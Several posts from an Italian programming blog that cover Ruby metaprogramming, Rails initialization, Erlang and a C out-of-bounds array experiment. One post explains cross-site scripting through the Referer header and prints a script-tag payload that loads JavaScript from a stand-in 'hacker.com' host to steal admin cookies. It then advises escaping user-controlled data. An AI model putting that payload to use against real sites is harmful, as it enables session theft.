Posted by Dibi Store
Fri, 07 Mar 2008 16:20:00 GMT
A volte può essere utile conoscere quando viene creata una sotto classe di una particolare classe. Per questo può tornare utile il metodo di classe (scusate il gioco di parole) Class.inherited. Gli esempi seguenti sono auto esplicativi e non dovrebbero lasciare dubbi:
class Foo
class << self # => Uguale a def self.inherited...
def inherited(sub_class)
puts "Hai creato la sottoclasse #{sub_class}"
end
end
end
class Bar < Foo; end
Posted in ruby | Tags metaprogrammazione | no comments | no trackbacks
Posted by Dibi Store
Tue, 04 Mar 2008 10:28:00 GMT
Continuo la serie di articoli riguardo la metaprogrammazione in Ruby mostrando un paio di metodi molto utili. I metodi che seguono permettono di creare rispettivamente un metodo di istanza (ossia che disponibile successivamente aver istanziato la classe) e un metodo di classe (richimabile senza aver istanziato la classe). Questi metodi sono molto utilizzati ad esempio nel sorgente di rails e ci permettono di usare tutti quei metodi come validates_presence_of che ci vengono regalati in molte classi. Notate nel secondo esempio come usiamo in modo appropriato il codice class << self.
class Test; end
Test.module_eval do
define_method :talk do
puts "This is cool!"
end
end
Test.new.talk # => This is cool!
Test.module_eval do
class << self
define_method :talk_again do
puts "This is more cool!"
end
end
end
Test.talk_again # => This is more cool!
Un applicazione reale? Immaginate di dover definire lo stesso metodo in dieci classi diverse contenute nell'array classi, potreste usare il codice seguente:
classi.each do |c|
c.module_eval do
define_method :validates... do |*args|
....
end
end
end
Notate che *args è un hash di argomenti che possono essere passati alla funzione, potete poi estrapolarli a vostro piacere. E' possibile anche dare un solo (o più) argomenti alla funzione con la seguente sintassi define_method :name do |arg1, arg2| ... end.
Risorse: documentazione modulo
Posted in ruby | Tags metaprogrammazione | no comments | no trackbacks
Posted by Dibi Store
Mon, 03 Mar 2008 19:47:00 GMT
In ruby è possibile conoscere l'elenco delle costanti accessibili da un determinato modulo o classe attraverso il metodo Module::constants.
Il metodo ritorna un array delle costanti definite dal modulo e dai moduli che sono stati inclusi in essi. Di seguito degli esempi chiariranno meglio il concetto:
class Klass
Foo = 'foo'
end
puts Klass.constants.include?('Foo') # => true
module Foo
Bar = 'bar'
end
puts Foo.constants.include?('Bar') # => true
module Test
include Foo
end
puts Test.constants.include?('Bar') # => true
puts Object.constants.include?('Klass') # => true
puts Object.constants.include?('Foo') # => true
class Klass
Foo = 'foo'
end
puts Klass::Foo # => foo
Klass.const_set(:Test, 'valore')
puts Klass::Test # => valore
# Ridefiniamo la costante Foo
Klass.const_set(:Foo, 'bar')
puts Klass::Foo # => bar
Notate che l'ultimo test funziona, anche se giustamente viene restituito un warning che ci avvisa che la costante era già stata definita.
Per finire può essere utile ridefinire il metodo che viene invocato quando una costante non esiste, nell'esempio seguente restituirò un messaggio per avvertire che la costante non esiste:
def Object.const_missing(name)
"La costante #{name} che cercavi non è ancora stata definita"
end
puts Class::Foo # => La costante Foo che cercavi non è ancora stata definita
Posted in ruby | Tags ruby | no comments | no trackbacks
Posted by Dibi Store
Sun, 02 Mar 2008 17:21:00 GMT
Oggi pomeriggio stavo provando qualche semplice esempio di buffer overflow sul mio mac book e mi aspettavo (come negli altri sistemi) di ricevere un errore di segmentation fault qualora tentassi di sovrascrivere un array al di fuori della sua grandezza. L'esempio chiarisse cosa stavo tentanto di fare:
int main()
{
int array[5];
int i;
for(i = 0; i < 255; i++)
{
array[i] = 10;
}
printf("%d\n", array[40]);
return 0;
}
Cosa vi aspettereste di output? Bhe di certo non 10! Se qualcuno sa dirmi il perchè di sta cosa mi fa un piacere, certo è che sta cosa a mio parere può condurre ad errori e andrebbe tolta.
Posted in sicurezza | Tags codekata | 10 comments | no trackbacks
Posted by Dibi Store
Sun, 02 Mar 2008 11:54:00 GMT
Erlang è un linguaggio di programmazione concorrente, ossia destinata all'iterazione di molti processi contemporanei, si pensi ad esempio a un applicazione di chat.
Erlang è stato creato nei laboratori Ericsson e reso in seguito open-source. Oggi vanta di una comunità di sviluppatori in forte crescita. Viene usato in moltissime situazioni reali, in particolare nel settore delle telecomunicazioni, come T-Mobile. Il linguaggio è compilato e molto veloce.
Programmare in Erlang è semplice, tuttavia potrebbe apparire strano all'inizio, in quanto è un tipo di programmazione che si distacca dalla comune programmazione ad oggetti.
Nei prossimi articoli inizierò a parlare di questo fantastico linguaggio, cercando di dare qualche suggerimento come al solito, intanto lascio qualche risorsa per chi vuole approfondire e valutare se investire in questa risorsa.
Il sito ufficiale: www.erlang.org
Community: www.trapexit.org/
Un ottimo libro per iniziare: programming erlang
Posted in erlang | Tags erlang | 2 comments | no trackbacks
Posted by Dibi Store
Wed, 13 Feb 2008 08:37:00 GMT
Molti non sanno che è possibile sfruttare la tecnica di xss anche tramite l'attributo referrer. A titolo didattico illustrerò un esempio non reale ti tale tecnica. Notate che l'url in questione può essere camuffata in diverse tecniche.
Innanzitutto l'attaccante individua una vittima e ipotizza che da qualche parte in admin ci sia una schermata di riepilogo dei referrer che hanno puntato al sito, poi crea una pagina ad hoc in qui crea un link che punti ad esempio alla home page del sito vittima, e ci clicca. In questo modo il sito vittima registrerà tale evento e verà visualizzato l'url all'amministratore. Cosa succede se però l'indirizzo del referrer è qualcosa di simile al seguente?
Referer: http://sito-cattivo.com/?<script/src="http://hacker.com/hackForIE.js
?unique=123456"src="http://hacker.com/hackForFF.js?unique=123456"></script>
In pratica questo script caricherà come sorgente il js sul sito hacker.com, tale url è stata scritta (non direttamente da me) per evitare una protezione del browser firefox. Inutile dire che dentro quel sito potrebbe esserci ad esempio un javascript che invia i cookie ad un web service predisposto per riceverli. Per ovviare al problema ricordatevi di fare un escape di tutti i dati che un utente può modificare e arrecare danno.
Posted in sicurezza | Tags xss | no comments | no trackbacks
Posted by Dibi Store
Fri, 01 Feb 2008 14:42:00 GMT
E' notizia di oggi (ma si sapeva gia) che Microsoft vuole acquistare yahoo per 44 miliardi di dollari... Io spero che non ceda
Posted in news | 1 comment | no trackbacks
Posted by Dibi Store
Fri, 01 Feb 2008 10:12:00 GMT
Oggi ho avuto un problema che mi ha lasciato abbastanza perplesso, in pratica avevamo bisogno di un sistema tramite flash che ci tornasse l'url in qui era visualizzato il player (non hostato). Il problema è che appunto tramite flash è possibile sapere solo l'indirizzo dove viene ospitato il player, ma se voi tramite un embed lo visualizzate in qualsiasi altro sito, non riusciamo a saperlo.
Le soluzioni che ho trovato in rete non hanno risolto il problema, voglio ricordare che io non sono assolutamente uno sviluppatore flash tantomeno actionscript, quindi se qualcuno ha una soluzione la posti pure (ps non possiamo usare javascript.
Posted in news | no comments | no trackbacks
Posted by Dibi Store
Wed, 09 Jan 2008 10:29:00 GMT
Si, si può, il metodo fa parte del modulo enumerable, di seguito un esempio di utilizzo con rails:
User.find(:first).attributes.keys.grep(/privacy/)
=> ["privacy", "third_parties_privacy"]
Figo no?
Posted in ruby | Tags grep | no comments | no trackbacks
Posted by Dibi Store
Wed, 09 Jan 2008 08:22:00 GMT
Ruby on Rails è un framework di qui ho già sicuramente parlato molto, infatti ci lavoro fortunatamente ogni giorno a stretto contatto. Credo che chiunque lo abbia utilizzato almeno una volta abbia voluto sapere cosa succede realmente dietro le quinte di questa gemma. Per questo ho scritto questo articolo che descrive il processo di inizializzazione del framework. Per gli esempi prenderò come riferimento l'attuale versione 2.0.2 .
Innanzitutto consiglio per seguire meglio gli esempi di creare un progetto vuoto che chiameremo course, vi consiglio di tenere questo progetto sempre disponibile, in quanto verrà usato direttamente in articoli futuri. L'ultimo passo è quello di 'congelare' l'attuale versione di rails con il comando:
rails course
cd course/
rake rails:freeze:gems
In alterativa potete scegliere il nome che volete, non ha particolare importanza. Aprendo il file config/database.yml, noterete subito che l'adattatore di default non è più mysql, bensì sqlite3. Ciò ci da un vantaggio immediato, infatti non abbiamo bisogno di andare a creare il database manualmente (anche se avremo potuto usare il comando rake db:create oppure rake db:create:all). A questo punto aprite il vostro IDE preferito, e iniziamo il nostro tour!
Il file dispatcher.rb dentro alla directory /public, è il primo che normalmente viene analizzato (in circostanze normali), nella prima riga vediamo che viene specificato come commento (un commento speciale a dire il vero) il percorso del nostro interprete. Ciò potrà non interessare a molti, ma ciò potrebbe dare in qualche modo fastidio alla macchina in qui effettuerete l'eventuale deploy (analizzeremo anche quello in futuro!) Sappiate che potete usare un trucchetto in molti casi, ossia dichiarare /usr/bin/env ruby, oppure dichiarare esplicitamente il percorso nel momento della generazione del progetto utilizzando l'opzione -r (provate in console a dare il comando rails -h se non lo avete mai fatto). Bando alle ciance, l'unica cosa importante è che viene 'richiesto' il file /config/environment.rb, ammeno che rails non sia gia stato inizializzato (non volete mica carica tutto il framework ogni volta, vero?).
Il file /config/environment.rb dapprima dichiara la versione di rails da utilizzare, poi caricherà il file boot.rb, che si trova nella stessa directory. Questo file dapprima definirà la variabile RAILS_ROOT che indicherò appunto la directory radice del progetto, dopodichè deciderà da dove andare a caricare il framework, in sostanza se è presente una directory /vendor/rails, il framework sarà caricato da li, altrimenti sarà caricato dalla vostra gemma presente nel sistema.
Qui possiamo notare una prima cosa interessante. Osservando il metodo preinitialize, all'incirca alla riga 29, potete notare che rails tenta di caricare un file, precisamente in /config/preinitializer.rb, ovviamente noi questo file andremo a crearlo (siamo [hacker|curiosi|non abbiamo un * da fare] o no?), e ci inseriremo il codice seguente, dopodichè avvieremo il server:
puts "Ciao dal preinizializzatore!\n\n"
# Salviamo e da console diamo:
./script/server
dibistore:course oskar$ ./script/server
Ciao dal preinizializzatore!
=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
=> Rails application starting on http://0.0.0.0:3000
=> Call with -d to detach
=> Ctrl-C to shutdown server
** Starting Mongrel listening at 0.0.0.0:3000
** Starting Rails with development environment...
** Rails loaded.
** Loading any Rails specific GemPlugins
** Signals ready. TERM => stop. USR2 => restart. INT => stop (no restart).
** Rails signals registered. HUP => reload (without restart). It might not work well.
** Mongrel 1.1.3 available at 0.0.0.0:3000
** Use CTRL-C to stop.
Fantastico, abbiamo appena scoperto un modo per inserire del codice ancora prima che venga caricato qualsiasi dato, questo apre molte possibilità, ma non è finita qui, infatti a questo punto caricheremo il file /vendor/rails/railties/lib/initializer.rb. Due parole per capire meglio: questa parte di rails, (railties) serve a collegare insieme i vari componenti (active record, action pack eccetera). Infatti nelle prime righe vengono impostate alcune costanti, aggiunti dei file alla load_path (tramite $LOAD_PATH.unshift File.dirname(__FILE__)) e dichiarato l'environment attuale (molto importante).
Il metodo che ora verrà chiamato è self.run, che potete ispezionare con calma, valutando le possibilità, poco sotto questo metodo vedete anche (commentato) l'elenco delle cose che vengono caricate da rails e il loro ordine, che qui traduco per semplicità:
# * #controlla la versione di ruby (deve essere almeno la 1.2 ma non la 1.3)
# * #inserisci i percorsi dei file nella load_path
# * #carica i vari frameworks (active record ecc.)
# * #inserisci altri percorsi nella load_path
# * #aggiungi la directory dei plugin alla load_path (ma non li carica)
# * #carica il file dell'environment corrente (/config/envrionments/whatever)
# * #inizializza encoding
# * #inizializza database (prepara connessione ecc.)
# * #inizializza il logger
# * #initializza e configura il logging dei vari frameworks
# * #inizializza le viste dei frameworks
# * #inizializza le dipendenze
# * #inizializza whiny_nil (estende la class Nil, dandoci degli errori più utili)
# * #inizializza directory temporanee
# * #inizializza le configurazioni dei frameworks
# * #aggiunge altri percorsi alla load_path
# * #carica i plugins
# * #carica gli observers (/config/initializers/)
# * #inizializza il processo di routing
# * #carica eventuali metodo definiti in /config/environment.rb chiamati after_initialize
# * #carica il tutto
Il nome inizializzatore è più che azzecato, ovviamente non posso descrivere ora nel dettaglio ognuno di questi passi, per qui lo farò man mano nel tempo e pubblicherò degli articoli più dettagliati qui sul blog. Vi consiglio di continuare da soli a questo punto il processo di riscoperta dell'inizializzazione, in quanto è tempo sempre ripagato (che bello ruby).
Posted in ruby on rails | Tags rails | no comments | no trackbacks